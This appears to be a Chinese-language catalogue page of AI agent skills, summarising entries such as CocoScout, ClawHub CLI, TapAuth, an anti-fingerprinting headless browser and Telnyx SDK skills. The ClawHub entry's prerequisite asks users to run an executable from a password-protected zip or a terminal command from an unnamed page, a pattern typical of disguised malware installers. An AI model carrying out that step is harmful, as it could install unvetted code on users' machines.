SuperAPI AI 工具集找到适合任务的 Agent Skill，阅读介绍并复制安装命令。
更新于 11-04 00:13
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CocoScout 是 CocoPlus 中的一个后台子智能体（subagent），用于按相关性排序加载上下文。它在 UserPromptSubmit 钩子管线中属于 Tier 2 异步操作，运行在 Haiku 模型上，时间预算为 5 秒以内，并采用 fire-and-forget 方式触发，不会阻塞钩子返回。它会分析当前任务描述，识别 persona 类型、任务中提到的 Snowflake 对象名称以及 Cortex AI 函数名称，然后从 CocoGrove 模式、CocoContext 标准、Environment Inspector 快照、提示词考古、CocoDream 经验等上下文中打分排序，选出最相关的内容注入到智能体会话。CocoScout 从不直接与开发者交互，运行结束后会向 .cocoplus/hook-log.jsonl 追加审计记录，超时或缺失的来源会优雅降级并写入错误日志。
Orderly One 是 Orderly Network 上的 DEX 构建与管理工具，可创建、定制并运营自己的去中心化交易所，继承共享流动性与跨链结算。
ClawHub CLI 是一个用于在 clawhub.ai 注册表中搜索、安装、更新和发布 agent 技能的命令行工具，支持高级缓存与压缩。它适合在需要即时获取新技能、将已安装技能同步到最新或指定版本，或发布新/更新技能文件夹时使用，并注重性能优化。使用前需先安装并运行 openclawcli 工具：Windows 下载 openclawcli.zip（解压密码 openclaw）并运行可执行文件，macOS 需访问指定页面并在终端执行安装命令；随后通过 npm i -g clawhub 全局安装。发布技能需要登录认证（clawhub login）。主要命令包括搜索（clawhub search）、安装（clawhub install，支持指定版本、目录、多技能）、更新（clawhub update，支持指定版本、--all、--force、--no-input）、列表（clawhub list）和发布（clawhub publish，支持 slug、名称、版本、描述、标签、changelog）。还提供环境变量和 ~/.clawhubrc 配置、批量操作、Shell 脚本与 CI/CD 集成示例、故障排查与最佳实践。未提供收费或价格信息。
TapAuth 是一个面向 AI 智能体的委托访问（Delegated Access）工具，用于在不直接处理用户凭据的情况下获取 OAuth 令牌。用户在自己的浏览器中完成授权，智能体则拿到受限作用域（scope）的 bearer token。该技能内置一个 CLI 脚本 scripts/tapauth.sh，提供两种模式：默认模式用于创建授权请求并输出审批 URL，--token 模式用于轮询等待授权通过并返回令牌。首次使用某服务商时，需先运行默认模式拿到审批 URL 展示给用户，再立即以 $(...) 内联方式调用 --token 执行 API 请求。支持 Google（Calendar、Gmail、Drive、Sheets、Docs 等）、GitHub、Slack、Linear、Notion、Vercel、Sentry、Asana、Discord、Apify 等服务商，无需 API key 或 client secret，零配置即可使用。令牌会自动缓存并支持刷新，采用零知识加密，TapAuth 不存储 grant_secret。
Obscura 是一款用 Rust 编写的无头浏览器，内置反指纹与 CDP 服务器，支持隐身抓取、并行批量抓取和低内存 CDP 自动化，二进制位于 ~/tools/obscura/obscura。
Telnyx AI Inference JavaScript 是 Telnyx 官方 JavaScript SDK 提供的 AI 能力接入方案，用于在 JavaScript/Node.js 项目中调用 Telnyx 的 LLM 推理、嵌入（embeddings）与通话洞察分析接口。安装方式为 npm install telnyx，通过 TELNYX_API_KEY 环境变量初始化客户端后即可使用。功能覆盖聊天补全、语音转文字、会话与消息管理、洞察模板与分组、文档与 URL 内容嵌入、相似度搜索、嵌入任务状态查询以及微调任务管理等，接口设计上兼容 OpenAI 的 Transcription 与 Chat Completions API。
Telnyx 官方的 Go 版 TeXML 技能，用于以 TwiML 兼容的 TeXML 标记语言构建语音应用，并调用 Telnyx API 管理呼叫、会议、录音、媒体流等资源。
Telnyx 语音采集（Gather）JavaScript 技能，用标准 DTMF 采集或 AI 语音采集为来电者构建交互式语音菜单与 AI 语音助手。通过 npm install telnyx 安装并初始化客户端后，可调用通话控制 API 执行采集、停止采集及 AI 助手相关操作。
Telnyx Voice Streaming - JavaScript 是一个用于在 JavaScript/Node.js 中调用 Telnyx 语音能力的技能包。通过官方 telnyx 依赖，它支持实时流式传输通话音频、将媒体分叉到外部目标地址，以及进行实时语音转写。开发者可用它对接 WebSocket 或 Dialogflow，获取 base64 编码的 RTP 负载用于实时音频分析与 AI 集成。技能覆盖了呼叫分叉的启停、媒体流的启停、转写的启停，并提供了基于 Ed25519 签名的 Webhook 验证方法以及常见错误的处理范式。
本技能提供使用腾讯云 CloudBase 调用 AI 模型的完整指南，覆盖 Web 浏览器、Node.js（服务端/云函数）、HTTP API 以及微信小程序等平台。内容涵盖文本生成、流式输出与图像生成，并给出各平台的 SDK 安装、初始化方式、API 调用示例与类型定义。其中 JS SDK 与 Node SDK 共用同一套 AI API，仅初始化不同；微信小程序使用 wx.cloud.extend.AI，参数结构与返回值与前者不同；图像生成目前仅 Node SDK 支持。技能还包含平台对比表与最佳实践，帮助开发者在不同端正确接入 CloudBase AI 能力。
用于构建 Telegram 机器人的技能，覆盖 Bot API 的命令、内联键盘、回调、会话状态机、媒体、群组管理、支付与 Mini Apps，支持长轮询开发与 Webhook 生产部署，提供 grammY、Telegraf、python-telegram-bot 的脚手架与核心模式。
Prompt Budget Preflight 是一个在调用 Agent 工具前运行的预检技能，用于避免子代理因「Prompt is too long」被拒绝的常见失败模式。它要求在每次生成子代理前，按 5 段式最小可行提示模板（TARGET、TASK、FORMAT、CONSTRAINTS、RULES）组织提示，目标约 300 词，超过 800 词通常意味着存在冗余。技能还提供预检清单（子代理类型、提示长度、枚举测试、上下文继承、输出上限）以及针对拒绝、空输出、跑题、超时等失败模式的处理手册，并给出可直接复制的模板。
该技能旨在让使用者模拟安进（Amgen）这家全球最大独立生物技术公司的战略思维与运营卓越。安进成立于1980年，总部位于加州千橡市，2024年营收334亿美元，员工约2.8万人，治疗领域涵盖普通医学、肿瘤、炎症和罕见病。技能以“生物学优先”为核心决策框架，强调人类遗传学验证（依托deCODE Genetics）、靶点验证、模态选择、组合匹配和患者可及性。内容涵盖生物制剂产品组合、Horizon Therapeutics收购、生物类似药业务、全球生产网络及生物技术研发全生命周期工作流，并提供管线优先级与产能扩张等决策示例。
该技能提供关于 Cruise（通用汽车子公司）自动驾驶汽车开发的专家知识，涵盖 2023 年 10 月事件、安全框架、技术架构，以及从 robotaxi 目标向 Super Cruise 聚焦的 ADAS 技术转型。内容包含危机后恢复思维与安全优先的工程视角，涉及传感器配置、感知流水线、预测与规划、事件深度分析、Super Cruise 技术规格、竞争格局，以及事件后 AV 开发工作流。
该技能用于模拟赛诺菲（Sanofi）免疫学高级副总裁的战略思维与运营方式，围绕其“Play to Win”战略、免疫学创新、疫苗领导力与专科护理转型展开。资料显示赛诺菲为欧洲领先生物制药公司，2024年营收410.8亿欧元，员工约8.2万人，核心差异化来自Dupixent与欧洲疫苗领导地位。技能内容涵盖身份设定、决策框架、思维模式、产品组合、管线资产、疫苗业务、财务概况、转型历程、研发生命周期工作流、上市卓越框架及示例问答。适用于需要以赛诺菲视角进行管线优先级判断、产品上市策略、组合决策等场景。资料未提供具体安装命令、收费方式或平台支持信息。
Twilio 是面向通信基础设施的专家技能，覆盖可编程短信、语音、视频、WhatsApp Business API、Verify 等通信 API，以及 Flex 云联络中心、Segment 客户数据平台、Twilio Functions 无服务器运行环境和 CustomerAI 等能力。该技能以资深 Twilio 首席工程师视角，提供从架构设计、渠道选择、合规（A2P 10DLC、GDPR、HIPAA）到成本优化、可观测性和分阶段实施的工作流指导，并给出短信发送、Webhook 签名校验、预约提醒、Flex 插件等代码示例。
这是一个面向 Claude Code 等 AI 编程助手的“Uber 高级主任工程师”角色技能，用于在系统设计与工程决策中模拟 Uber 的技术视角。技能内容涵盖大规模分布式系统、机器学习平台、实时双边市场优化等主题，并给出 Uber 的公司背景数据（如年营收、月活消费者、季度行程量等）。它提供决策框架（平台优先、数据飞轮、实时优化、多边市场平衡、经济可持续）、思维模式（供需匹配分解、ML 原生架构）、常见反模式（如忽略网络效应、贪心匹配、训练-服务偏差、延迟盲区、静态定价等）以及监管背景（AB5、Prop 22、欧盟平台工作指令）。使用方式为在 CLAUDE.md 中追加读取 SKILL.md 的指令，并通过“Uber style”“marketplace optimization”“dynamic pricing algorithm”等触发短语调用。适用于面试准备、系统设计练习和双边市场架构讨论。
Maximum Effort 是一个“前沿模型主导”的任务执行技能：由 Opus 5.5 或 gpt-6.1-sol 作为 owner 负责判断、规划与最终审查，把有边界的只读查询和精确编辑交给 Sonnet 5 或 gpt-6-luna 等较小模型执行。它通过五段式任务简报、S/M/L 规模分级、owner/scout/mechanic 三种通道分配、单次尝试与接管机制，以及任务回执和 JSONL 账本记录，控制上下文消耗与返工成本，适用于 Claude 与 Codex 订阅环境下的独立开发任务。
Learning 是一个用于维护跨会话持久化用户记忆的技能。它在 ~/.agents/memory.md 中保存每个用户的长期偏好与经验教训，并在每次任务开始时读取该文件。该技能默认自主调用，无需用户显式请求。记忆条目采用扁平列表结构，包含 id、type（fact/preference/lesson）、scope（global/workspace/path）、workspace、path、provenance（user-stated/agent-inferred）、statement、effect 和 updated_at 等字段。写入时优先选择最窄的合理作用域，仅保存持久、与行为相关且不适合放入仓库文档、代码或任务笔记的信息，只更新不删除，并在最终回复中说明新增或更新的记忆。
该技能用于编写、编辑或审查提示词与技能指令，强调精炼、尊重模型能力。适用于创建或改进 prompt.ts 文件、系统提示或提示类指令，帮助明确模型任务并将非语言约束转移到更合适的机制中。
agents-skills 技能包中的调度指南，用于在会话开始时判断该使用哪个技能。它提供自上而下的分派决策树、常用技能组合序列和速查表，并说明猜测、预读技能正文等反模式，本身只负责路由而非教学。
atelier-distill 是 atelier 标准的按需配套技能，用于对仓库的智能体记忆做压缩整理：清理 .claude/LESSONS.md、lessons.local.md、PLAN.md、CLAUDE.md 及记忆文件夹，逐条给出裁决并归档，需用户批准后才提交。
社区维护的 VMware vSphere 存储管理技能，提供 14 个 MCP 工具与 CLI，覆盖数据存储浏览与镜像扫描、iSCSI 目标配置、vSAN 健康与容量、光纤通道与多路径诊断。与 VMware 官方无关，MIT 许可。
面向 Seedance 2.0 视频生成模型的提示词工程技能，可将用户提供的图片、视频、音频等多模态素材与模糊创意意图，整理为结构化、可执行的提示词与推荐参数。